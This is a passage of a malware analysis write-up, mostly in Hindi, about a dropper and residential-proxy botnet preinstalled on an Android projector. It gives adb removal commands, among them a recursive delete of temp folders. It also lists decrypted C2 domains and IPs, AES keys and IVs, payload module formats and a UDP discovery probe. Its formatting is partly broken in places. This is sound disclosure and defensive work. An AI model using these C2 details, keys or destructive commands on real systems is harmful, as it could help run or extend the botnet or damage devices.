for p in com.android.umanalytics.yiyou com.android.sysapp com.cloudmedia.testapk; do
  adb shell am force-stop $p
  adb shell pm disable-user --user 0 $p
  adb shell pm clear $p
done

adb shell pm uninstall com.google.adtest

# I removed this too for safety
adb shell pm uninstall com.disney.disneyplus

# Leftovers
adb shell 'rm -rf /data/local/tmp/* /data/ota_package/tmp/*'

adb reboot

रखा गया, संभवतः हानिरहित:

  • qw (su daemon, केवल /system को संपादित करके हटाया जा सकता है, केवल स्थानीय रूप से पहुँच योग्य)
  • हानिरहित OEM ऐप्स: appsdisable, gmsopt, systemmixservice
  • com.android.nfx (Netflix रिमोट-कंट्रोल हेल्पर)

एंटी टैम्पर जाँच

yiyou को अनइंस्टॉल करने से Settings टूट जाता है। com.ashd.settings के checkSHA1() में दो जाँचें हैं:

  1. Settings का अपना साइनिंग सर्ट, जिसके लिए पाँच हार्डकोडेड SHA1s में से एक से मेल की आवश्यकता होती है (CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91, 60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15, 6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01, 27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA, F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)
  2. जाँचें कि क्या com.android.umanalytics.yiyou, (या com.android.umanalytics.kege, संभवतः अन्य फर्मवेयर बिल्ड्स पर ड्रॉपर का नाम), उपयोगकर्ता 0 के लिए पंजीकृत है।

दोनों विफलता पथ 签名校验失败,关闭应用 ("हस्ताक्षर जाँच विफल, ऐप बंद कर रहा है") लॉग करते हैं। yiyou को पूरी तरह से अनइंस्टॉल करना (जैसा कि ऊपर है, केवल अक्षम करने के बजाय) इसे ट्रिगर करता है। adb shell pm install-existing com.android.umanalytics.yiyou इसे पुनः सक्षम किए बिना पंजीकरण बहाल कर देता है।

8.3. पुष्टि```

adb connect 10.56.215.10:5868

adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"

expect: only adbd to your computer (plus Google services, if allowed)

red flag: any process with several connections to public IPs

adb shell pm list packages -3 -i # new apps? check their installer

root@kitploit:~
**इस यूनिट पर सफाई और रीबूट के बाद परिणाम:**```
adb shell "netstat -tnp"
# tcp   127.0.0.1:52992  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi  <- local screen-cast service
# tcp   127.0.0.1:52994  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi
# tcp6  10.56.215.10:5868  <your computer>  ESTABLISHED 5332/adbd              <- your ADB session
#  -> no outbound connections left (before: ~25 from yiyou)

24 घंटे बाद netstat जाँच दोहराएँ (लोडर हर 6 घंटे में चेक-इन करता है) और अपने DNS और फ़ायरवॉल लॉग में प्रोजेक्टर के IP से आने वाली ब्लॉकलिस्ट हिट्स को देखें।

8.4. सीमाएँ

  • फ़ैक्टरी रीसेट yiyou और sysapp को वापस ले आता है। नेटवर्क एक्सेस से पहले अनुभाग 8 दोबारा चलाएँ।
  • APKs को हटाने के लिए /system को रीड-राइट रीमाउंट करना अनुशंसित नहीं है: vbmeta लॉक है, /system 100% भरा हुआ है, इसलिए adb disable-verity + adb remount /data में एक ओवरले बनाएगा (फ़ैक्टरी रीसेट पर खो जाता है, जैसे pm uninstall --user 0) बूट विफलता के जोखिम पर।
  • इसलिए स्थायी रूप से हटाने का मतलब है अपने डंप में super से APKs को हटाना और इसे FEL के माध्यम से फ्लैश करना। अप्रयुक्त।``` adb shell getprop ro.boot.vbmeta.device_state # locked adb shell getprop ro.boot.verifiedbootstate # (empty) adb shell df -h /system # 1.1G 1.1G 3.4M 100%
root@kitploit:~
### 8.5. ब्लोटवेयर```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest

pm enable --user 0 <package> के साथ वापस लौटाएँ

  • com.android.toofifi: कोर स्क्रीनकास्ट सेवा। आप फ़ोन और लैपटॉप से स्क्रीन मिररिंग (Miracast/AirPlay-शैली कास्टिंग) खो देते हैं।
  • com.toofifi.lineserver: उसी स्टैक के लिए वायर्ड/USB डिस्प्ले सर्वर, लाइसेंस जाँच के लिए server.mphotool.com:8680 पर फ़ोन होम करता है। आप वायर्ड डिस्प्ले मोड खो देते हैं।
  • com.toofifi.miracast: वायरलेस Miracast रिसीवर, server.mphotool.com:8680/MPAPI/System/CheckUpdate को कॉल करता है और उपयोग लॉग mphotool.com/FeituAppLogMgr पर अपलोड करता है। आप वायरलेस कास्टिंग खो देते हैं।
  • com.mphotool.usbcastserver: USB कास्ट सर्वर, वही विक्रेता। आप डिवाइस-से-USB कास्ट समर्थन खो देते हैं।
  • com.rockchip.devicetest: Allwinner यूनिट पर होने का कोई कारण नहीं।

9. पूर्ण कंपोनेंट मैप

स्टैटिक विश्लेषण। कच्चे डीकंपाइल किए गए सोर्स, डिक्रिप्ट किए गए .rf मॉड्यूल, और उपयोग की गई स्क्रिप्ट्स analysis/ (decompiled/, decrypted_modules/, tools/) में रखे गए हैं।

9.1 OTA अपडेटर

com.android.sysapp

डीकंपाइल किए गए क्लास a.a.b.m/a.a.b.n सटीक, शाब्दिक OTA अनुरोध देते हैं:``` POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo &productid=<ro.android.productid, default "74865231"> &device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269"> &devices_version=<ro.build.version.incremental> &update_type=1|2 # 1 auto check, 2 forced ("check for update" button)

root@kitploit:~
Apache `HttpPost` के माध्यम से खाली फ़ॉर्म बॉडी के साथ। सब कुछ क्वेरी स्ट्रिंग में है, इसलिए GET और POST समान हैं और कोई हस्ताक्षर/टोकन नहीं है। लाइव रीप्ले किया गया (2026‑09‑26): `{"code":200,"data":[]}`, ऐसा लगता है कि इस productid के लिए किसी भी संस्करण में कोई पैकेज नहीं है।

### 9.2 ड्रॉपर

`com.android.umanalytics.yiyou`

**स्व-अपडेट** (`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` `DownLoadURL` को `MD5` और `VersionCode` के साथ डिलीवर करता है जिसे डाउनलोड किया जाता है, MD5-जाँचा जाता है, `PkgUtils.install(path, 1)` और चुपचाप स्वयं को बदल देता है।

**`plugin.jar` फ़ेच** (`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` `plugin.jar` को डिलीवर करता है जिसे `<cache>/plugin.jar` पर डाउनलोड किया जाता है और `DexClassLoader` के साथ लोड किया जाता है। `com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` प्रवेश बिंदु है।

**प्रति-डिवाइस ऐप-सूची प्रोफ़ाइल**
ये अभियान में प्रत्येक डिवाइस के लिए कस्टम ऐप्स हैं (संभवतः DRM को दरकिनार करने के लिए पैच किए गए?)

`com.anlytics.plug.b` बोर्ड (`ro.board.platform`, `persist.sys.cm.dtsmodel`, `ro.sys.cputype`, `ro.build.version.release`, इंस्टॉल किए गए पैकेज, `/system/etc/voice.tar.gz` जैसी फ़ाइलें) को 40 हार्डकोडेड प्रोफ़ाइलों के विरुद्ध फ़िंगरप्रिंट करता है और `com.tools.a` में स्थिरांकों से उपयुक्त `appsinfo/.../infos*.json` URL चुनता है।

यह यूनिट `com.ashd.launcher10` शिप करती है और `persist.sys.cm.dtsmodel=AT-M269` / बोर्ड `ares` रिपोर्ट करती है और तालिका में एकमात्र H713 "launcher10" प्रोफ़ाइल यह है:```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json

(empty)```json date 20240819 description "1、优化网络访问\n2、增强系统稳定性。" appInfos 0 appVersionCode 425 appName "uninstall" appPkgName "com.netflix.ninja" appMd5 "3D3EC4CAA09F68170EB0ADC5A92AC018" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/rk3326/Netflix_425.apk" 1 appVersionCode 84 appName "launcher10" appPkgName "com.ashd.launcher10" appMd5 "3AA639AE6850189EB8EB4B288AFAD70A" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/Launcher10_HY300_1.84.apk" 2 appVersionCode 3 appName "platinum" appPkgName "com.allwinnertech.platinum.media" appMd5 "5DA2127B3D0E983D96C16F5960CFE5E0" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/PlatinumMediaDLNA.apk"

root@kitploit:~
**40 प्रोफ़ाइल URL की पूरी सूची**
प्रत्येक संभवतः एक ही अभियान के अंतर्गत एक पीड़ित डिवाइस परिवार है:```
infos.json
TEST/infos.json
infos_qp.json
infos_lm.json
infos_wy.json
infos_wy_fj600.json
infos_set.json
infos_ydd3128.json
WANYING_test/infos.json
YBS_ASOS/infos.json
YDN2_YIUI_RX480P/infos.json
YINGKE_CC720P/infos_0208.json
YINGKE_CC720P/infos_ZG_0315.json
YINGKE_CC720P/infos_0313.json
YINGKE_CC720P/infos_0504.json
SAIER_RK3326_DV381_YIUI/infos.json
SAIER_RK3326_DV381_YIUI_C1PRO/infos.json
rk3326_ASHD/Q3/infos.json  H713/N1/infos.json
rk3326/HY300A/infos.json
rk3326/Saier_zhixiang_0326/infos.json  YKK_3326_YIUI/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json
rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json
rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json
rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json
rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json
rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json
rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos.json
H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json
H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json
H713_ASHD/H713M_HY300A_VIEW_0304/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json
H713_ASHD/H713_SKW/infos.json
H713_ASHD/H713_NEFHELP/infos.json
H713_ASHD/DSN/infos.json
rk3326_ASHD/DSN/infos.json
rk3326_ASHD/RK3326_AD/infos_ad_asos.json
H713_ASHD/H713_HY300_HIFI/infos.json
H713_ASHD/H713M_HY300_A/infos_F8.json
H713_ASHD/H713M_TENPLUS_0625/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
Hisi352_ASHD/TS-6/infos_0730.json
H723_ASHD/H723_T1Pro/infos_0618.json

प्रत्येक infos*.json उन ऐप्स की सूची देता है जिन्हें pm install -r (payload com.google.adtest + Disney+ जैसे कवर ऐप्स) के माध्यम से इंस्टॉल किया जाना है, जैसा कि 3. में बताया गया है।

9.3 plugin.jar

C2 होस्ट एन्क्रिप्शन com.hs.p.basic.Hosts/EncryptUtils प्रत्येक होस्ट स्ट्रिंग AES/CFB/NoPadding (key MD5("ota.host.a46780a24111f056d95f955462606901"), IV "0102030405060708") है, gzip-संपीड़ित, फिर base64:

  • API_MASTER_HOSTS: https://api.loritor.cc/
  • TRACKER_SLAVE_HOSTS: https://api.loritor.cc/
  • API_SLAVE_HOSTS: https://api.nizero.cc/
  • TRACKER_MASTER_HOSTS: https://api.nizero.cc/ (API चैनल की तुलना में प्राथमिकता बदली गई?)

इस परीक्षण के समय loritor.cc और nizero.cc दोनों डाउन लग रहे थे।

टास्क/कॉन्फ़िग API पथ GetTaskApi, GetConfigApi POST <host>/0x01/ov/x1 (कॉन्फ़िग: साइलेंट विंडो, लॉग टॉगल, होस्ट सूची पुश, पोल अवधि) और POST <host>/0x01/ov/x2 (टास्क सूची: कर्सर-पेजिनेटेड jars[]/dexs[]/apks[], प्रत्येक में file_url/file_md5/vercode/task_id)। रिस्पॉन्स बॉडी का "data" फ़ील्ड उसी तरह एन्क्रिप्टेड है, key "ota.api.d3b194c07b63d688969c258719ca3f0f"।

.rf मॉड्यूल प्रारूप मेरे पास मौजूद सभी चार मॉड्यूल को वैध DSA हस्ताक्षरों के साथ डिक्रिप्ट करना: [4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig]।

AES key = MD5("968a84be78d3421d5e771147dce2b766" + salt), ऊपर के समान निश्चित IV।

DSA सार्वजनिक कुंजी हार्डकोडेड है (1024-बिट, DexManager/JarExe में एम्बेडेड)। प्लेनटेक्स्ट एक ZIP/APK है, कच्चा dex नहीं।``` SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"} SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"} SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"} SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}

root@kitploit:~
### 9.4 com.ad.proxy

`SKN0041`

एंट्री `MainApi.start_W0017` क्लाइंट `Robin` को स्पिन अप करती है। दो सादे HTTP(S) एंडपॉइंट, `channel`/`version` उसी द्वारा आपूर्ति किए जाते हैं जिसने मॉड्यूल को इनवोक किया:```
GET  https://api.kookjar.com/signin?uuid=<uuid>&channel=<channel>&version=<version>
# (debug build: http://152.32.240.141 same paths)
POST https://api.kookjar.com/report?uuid=<uuid>&channel=<channel>&version=<version>
     body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]}
     # reports back which proxy gateways it reached

9.5 com.szns.sdk

SKN0054

यहाँ Domain/IP स्ट्रिंग्स obfuscated हैं: Base64→XOR(fixed key) > XOR(prev result) > MD5-derived XOR > Base64 > gzip क्लास com.szns.sdk.t में।

सटीक एल्गोरिदम (analysis/tools/decode_szns_t.py) को दोहराया और सभी चार hardcoded bootstrap endpoints को डिक्रिप्ट किया:``` ac.a() -> https://hgsdkszns.com ac.b() -> http://dporder.midrouterx.com/api/dispatch (state 1: fetch "domain_info", cached 24h) ac.c() -> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico (state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss") ac.d() -> 43.173.127.241:9090 (state 5: "ip_tcp_info" bootstrap)

root@kitploit:~
यदि कोई कैश्ड डिस्पैच URL नहीं है (state 7):
`43.153.12.1` - `43.153.80.100:8080` का UDP स्वीप

शाब्दिक ASCII पेलोड `"moon2"` भेजना, `http` से शुरू होने वाले किसी भी उत्तर की प्रतीक्षा करना। यह उत्तर डिस्पैच URL बन जाता है।

प्रत्येक बूटस्ट्रैप अनुरोध `POST <url>` है जिसमें `com.szns.sdk.x` में फ़ॉर्म फ़ील्ड `{"operator":<c>,"c":"moon2","name":<d>}` होते हैं।

जो भी डिस्पैच URL रिज़ॉल्व होता है, उस पर वही फ़ील्ड POST किए जाते हैं और वास्तविक गेटवे सूची लौटाता है, जो `AES/CBC/PKCS5` (कुंजी `"5360e2884c119aa32a767ceb1c0889b0"`, रैंडम IV, एनवेलप `base64(iv):base64(ciphertext)`) के रूप में एन्क्रिप्टेड होती है।

डिक्रिप्टेड JSON प्रारूप: `{"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}`.

### 9.6. com.link.core

`SKN0058 `

एकल हार्डकोडेड गेटवे, कोई डिस्कवरी लेयर नहीं: `com.link.core.a.g` → `["api.eviceh.cc:16000"]`। इसके स्वयं के लुकअप के लिए उपयोग किए जाने वाले DNS रिज़ॉल्वर: `8.8.8.8`, `9.9.9.9`, `1.1.1.1`, `1.0.0.1`। डिवाइस फिंगरप्रिंटिंग के लिए `/proc/cpuinfo` और `/sys/class/net/{eth0,wlan0}/address` पढ़ता है।

### 9.7. ddth2 (VpsSdk)

`SKN0061`

हार्डकोडेड गेटवे पूल, `ddth2.hidden.o`: डोमेन `dw4y.mmavlino.com`, `zx8c.llvyomi.net`, `zxn5.p2f7mjhv.eu.cc`, IP `45.43.57.99`, `165.154.135.52`।

एक पर्सिस्टेंट कस्टम बाइनरी TCP प्रोटोकॉल:

- connect
- `REGISTER`/`REGISTER_ACK` हैंडशेक (8-बाइट फ़्रेम हेडर, opcode+length)
- गेटवे फिर connect कमांड पुश करता है (`{host, port}`
- प्राइवेट/लूपबैक/मल्टीकास्ट रेंज के विरुद्ध फ़िल्टर किया जाता है जो प्रति-सेशन प्रॉक्सीड सॉकेट स्पॉन करते हैं, जो "कई समानांतर क्लाइंट इंस्टेंस" की व्याख्या करता है।

### 9.8. com.google.adtest

या `com.fotas.wanapp ("com.speed")`

वास्तविक आंतरिक पैकेज नाम `com.fotas.wanapp` है (App क्लास `com.fotas.wanapp.APP`)। `onCreate()` तीन होस्ट सेट करता है जो `plugin.jar` के समान master/slave/random पैटर्न का पालन करते हैं:```
master -> https://api.pechlo.cc/
slave  -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/

डिवाइस चेक-इन POST https://codedevapp.com/api/v1/device/dau के माध्यम से होता है।

दो सेवाएँ शुरू की जाती हैं:

  • com.google.android.AdService
  • com.google.android.BakService

यदि मौजूद हो तो वैकल्पिक com.fotas.wanapp.ChannelSdkInit क्लास को रिफ्लेक्टिव रूप से प्रोब करके इनिशियलाइज़ करता है। ऐप आईडी स्ट्रिंग्स: "wanapp", "WAN_AISHANG_001".

9.9. लाइव स्टेटस स्नैपशॉट (2026-09-26)

एक स्वतंत्र होस्ट से रीड-ओनली रीचेबिलिटी जाँच (कोई प्रॉक्सी प्रोटोकॉल/पेलोड नहीं भेजा गया, प्रोजेक्टर के साथ कोई इंटरैक्शन नहीं):

10. URLs

11. अन्य

डेवलपर विकल्प:

  1. Deviceversion.onKeyDown (Settings की "Device info" स्क्रीन) एक Konami शैली कोड, Up Up Down Down Left Left Right Right Center Center, की प्रतीक्षा करता है, जो डेवलपर विकल्प खोलने का प्रयास करता है। मेरे लिए यह काम नहीं किया।
  2. Up Down Left Right Center com.konka.readmain.MainActivity लॉन्च करने का प्रयास करता है, एक असंबंधित OEM फ़ैक्टरी-टेस्ट ऐप जो वास्तव में इस यूनिट पर इंस्टॉल नहीं है। वही, काम नहीं किया।``` adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion adb shell input keyevent 19 adb shell input keyevent 19 adb shell input keyevent 20 adb shell input keyevent 20 adb shell input keyevent 21 adb shell input keyevent 21 adb shell input keyevent 22 adb shell input keyevent 22 adb shell input keyevent 23 adb shell input keyevent 23
root@kitploit:~
टूल डाउनलोड करें
शब्दयह क्या करता हैLAN
NetworkInterface (adtest, plugin, SKN0061)बॉट ID के लिए डिवाइस का अपना IP और MAC पढ़ता हैनहीं
SKN0041 में DatagramSocketगेटवे को प्रॉक्सी सत्रों के लिए UDP रिलेनहीं
SKN0054 में DatagramSocketC2 डिस्कवरी: 43.153.12-80.1-100:8080 (सार्वजनिक क्लाउड रेंज) को स्वीप करता हैनहीं
plugin.jar में ServerSocketवीडियो री-स्ट्रीम सर्वर, नीचे देखेंनहीं
Runtime.exec हिट्स (yiyou, plugin.jar, adtest, SKN0041/54/58/61)तृतीय-पक्ष SDK आंतरिक, स्थानीय फ़ाइलों पर chmod 777, फोरग्राउंड-ऐप या रूट जाँच के लिए su/pm/dumpsys और SKN0041 में ऑपरेटर द्वारा जारी pingकेवल ping कमांड
UPnP, mDNS/NSD, SSDP, WiFi Direct, ARP/subnet math, ADB 5555, telnetकोई नहींनहीं
systemmixservice / libsystemmixservice.so / libsystemmix_jni.soकेवल-Binder OEM सेवा: प्रॉपर्टी get/set, रॉ फ़ाइल read/write/delete, mount/umount, बूट लोगो/एनिमेशन। दोनों बाइनरी में कोई socket/bind/connect/listen/accept सिंबल नहींनहीं
qwसुपरयूज़र/ClockworkMod su डेमन। इसके स्ट्रिंग्स में केवल Unix डोमेन सॉकेट पाथ (/dev/com.koushikdutta.superuser[.daemon]), कोई IP लिटरल नहीं, कोई AF_INET नहींनहीं
com.android.nfx (NFXAccessibility)Netflix D-pad नेविगेशन हेल्पर, केवल तब सक्रिय जब com.netflix.mediaclient फोरग्राउंड में हो। मैनिफेस्ट में INTERNET अनुमति बिल्कुल नहीं हैनहीं
// SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only
str.equals("0.0.0.0")str.matches("^10\..*")
होस्टDNS / कनेक्ट परिणामनोट्स
api.loritor.cc, api.nizero.ccरिज़ॉल्व होता है (Cloudflare), / पर HTTP 404सक्रिय; वास्तविक पाथ /0x01/ov/x1, /0x01/ov/x2 हैं
api.kookjar.comरिज़ॉल्व होता है (Cloudflare, 172.67.159.65), HTTP 204सक्रिय
152.32.240.141 (SKN0041 डीबग फ़ॉलबैक)TCP/80 टाइमआउटपहुँच योग्य नहीं; वैसे भी केवल-डीबग पाथ, प्रोडक्शन api.kookjar.com का उपयोग करता है
dporder.midrouterx.comसीधे रिज़ॉल्व होता है (43.174.196.241, Tencent Cloud), /api/dispatch पर HTTP 200सक्रिय
seed-info.oss-ap-southeast-1.aliyuncs.comरिज़ॉल्व होता है (47.79.49.170, Alibaba Cloud SG), HTTP 200, favorite.ico सर्व करता हैसक्रिय
hgsdkszns.comरिज़ॉल्व होता है (Cloudflare)DNS सक्रिय; सादा HTTPS प्रोब रीसेट (वर्तमान बिल्ड में अप्रयुक्त ब्रांच, देखें 10.5)
43.173.127.241:9090रॉ TCP कनेक्ट सफलसक्रिय, अभी लिसन कर रहा है
api.eviceh.cc:16000रिज़ॉल्व होता है (152.53.83.204)DNS सक्रिय, जाँच के समय TCP/16000 रिफ्यूज़्ड (गेटवे वर्तमान में लिसन नहीं कर रहा)
dw4y.mmavlino.com / zx8c.llvyomi.net / zxn5.p2f7mjhv.eu.cc / 45.43.57.99 / 165.154.135.52इस पास में पुनः जाँच नहीं की गईदेखें अनुभाग 11
api.pechlo.cc, api.logobi.ccरिज़ॉल्व होते हैं (Cloudflare), / पर HTTP 404सक्रिय
random.vivosoc.ccकोई DNS रिकॉर्ड नहींमृत/समाप्त प्रतीत होता है
codedevapp.comरिज़ॉल्व होता है (5.161.41.216, Hetzner)सक्रिय; /api/v1/device/dau केवल-POST है इसलिए सादा GET अबॉर्ट हो जाता है
होस्ट / URLघटकभूमिका
ishanghd.com, ty.ishanghd.com, isdownload.ishanghd.com, wjtysj.ishanghd.comsysapp, yiyouरूट OEM बैकएंड डोमेन
wjtysj.ishanghd.com/hx_kt.phpsysapp (AshdSysApp)OTA अपडेटर C2 (act=project&do=getPackageInfo)
ty.ishanghd.com/work/app/wj/factory/update.jsonyiyouड्रॉपर सेल्फ-अपडेट पॉइंटर
ty.ishanghd.com/work/app/wj/appsinfo/* (40 पाथ, ऊपर देखें)yiyouप्रति-डिवाइस-फ़ैमिली पेलोड/ऐप सूचियाँ (pm install -r लक्ष्य)
isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.jsonyiyouplugin.jar फ़ेच पॉइंटर
isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jaryiyouवास्तविक plugin.jar पेलोड (वर्ज़न्ड पाथ, समय के साथ बदलता है)
isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zipplugin.jarWidevine L3 DRM की/लाइसेंस बंडल, ड्रॉप किया जाता है ताकि स्ट्रीमिंग ऐप्स अनसर्टिफाइड डिवाइस पर चल सकें
api.loritor.cc, api.nizero.ccplugin.jar ("hs")टास्क/कॉन्फ़िग API (/0x01/ov/x1, /0x01/ov/x2), दोनों API चैनल (मास्टर/स्लेव) और ट्रैकर चैनल (स्लेव/मास्टर स्वैप्ड) के रूप में
api.kookjar.com (+ 152.32.240.141 डीबग)SKN0041/signin, /report
api.eviceh.cc:16000SKN0058एकमात्र गेटवे
hgsdkszns.comSKN0054अतिरिक्त हार्डकोडेड बूटस्ट्रैप होस्ट (वर्तमान बिल्ड में अप्रयुक्त ब्रांच)
dporder.midrouterx.com/api/dispatch (+ /api/dispatchByOss, नीचे दिए OSS बूटस्ट्रैप के माध्यम से पहुँचा जाता है)SKN0054प्राथमिक डिस्पैच बूटस्ट्रैप
seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.icoSKN0054OSS-होस्टेड बूटस्ट्रैप रीडायरेक्टर (Alibaba Cloud OSS)
seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.icoSKN0054उसी बूटस्ट्रैप कॉन्फ़िग का Tencent COS बैकअप मिरर
43.173.127.241:9090SKN0054ip_tcp_info बूटस्ट्रैप होस्ट (सटीक पोर्ट की पुष्टि, लाइव)
43.135.136.224SKN0054डिस्पैच गेटवे लाइव देखा गया (tcp/7788 /api/dispatch, tcp/9090)
43.159.148.198SKN0054गेटवे/सर्वर-लिस्ट एंडपॉइंट लाइव देखा गया, /dp/getServer (संभवतः एन्क्रिप्टेड node[] सूची के अंदर गतिशील रूप से लौटाया गया)
43.130.60.175SKN0054अतिरिक्त प्रॉक्सी गेटवे नोड (tcp/9090), लाइव देखा गया
43.153.12.1–43.153.80.100:8080 (UDP)SKN0054डिस्कवरी स्वीप; प्रोब पेलोड शाब्दिक ASCII moon2 है
dw4y.mmavlino.com, zx8c.llvyomi.net, zxn5.p2f7mjhv.eu.cc, 45.43.57.99, 165.154.135.52SKN0061गेटवे पूल, कस्टम TCP प्रॉक्सी प्रोटोकॉल
api.pechlo.cc, api.logobi.cc, random.vivosoc.cccom.speed / com.fotas.wanappमास्टर/स्लेव/रैंडम C2
codedevapp.com/api/v1/device/daucom.speed / com.fotas.wanappडिवाइस चेक-इन
live.sz-cloudmedia.com:8080/ota/लिगेसी OTA (पुराना/सहोदर sysapp वेरिएंट)डेड एंड, डोमेन का कोई ICP फाइलिंग नहीं है, Alibaba इसे ब्लॉक करता है।
ulogs.umeng.com, ulogs.umengcloud.com, alogus.umeng.com, alogsus.umeng.com, ouplog.umeng.com, plbslog.umeng.comyiyou (Umeng SDK)तृतीय-पक्ष एनालिटिक्स टेलीमेट्री, जो yiyou ऐप द्वारा एकत्र किए गए डिवाइस फ़िंगरप्रिंट (सीरियल, MACs, SSID/BSSID) ले जाती है
hmma.baidu.com, datax.baidu.com, dxp.baidu.com, openrcv.baidu.comyiyou (Baidu Mobile Stats SDK)वही टेलीमेट्री भूमिका, Baidu के माध्यम से
cmnsguider.yunos.com, ip.taobao.com, g3.le.comyiyouफ़िंगरप्रिंटिंग के लिए उपयोग की जाने वाली Alibaba/Yunos डिवाइस-टोकन और सार्वजनिक-IP लुकअप सेवाएँ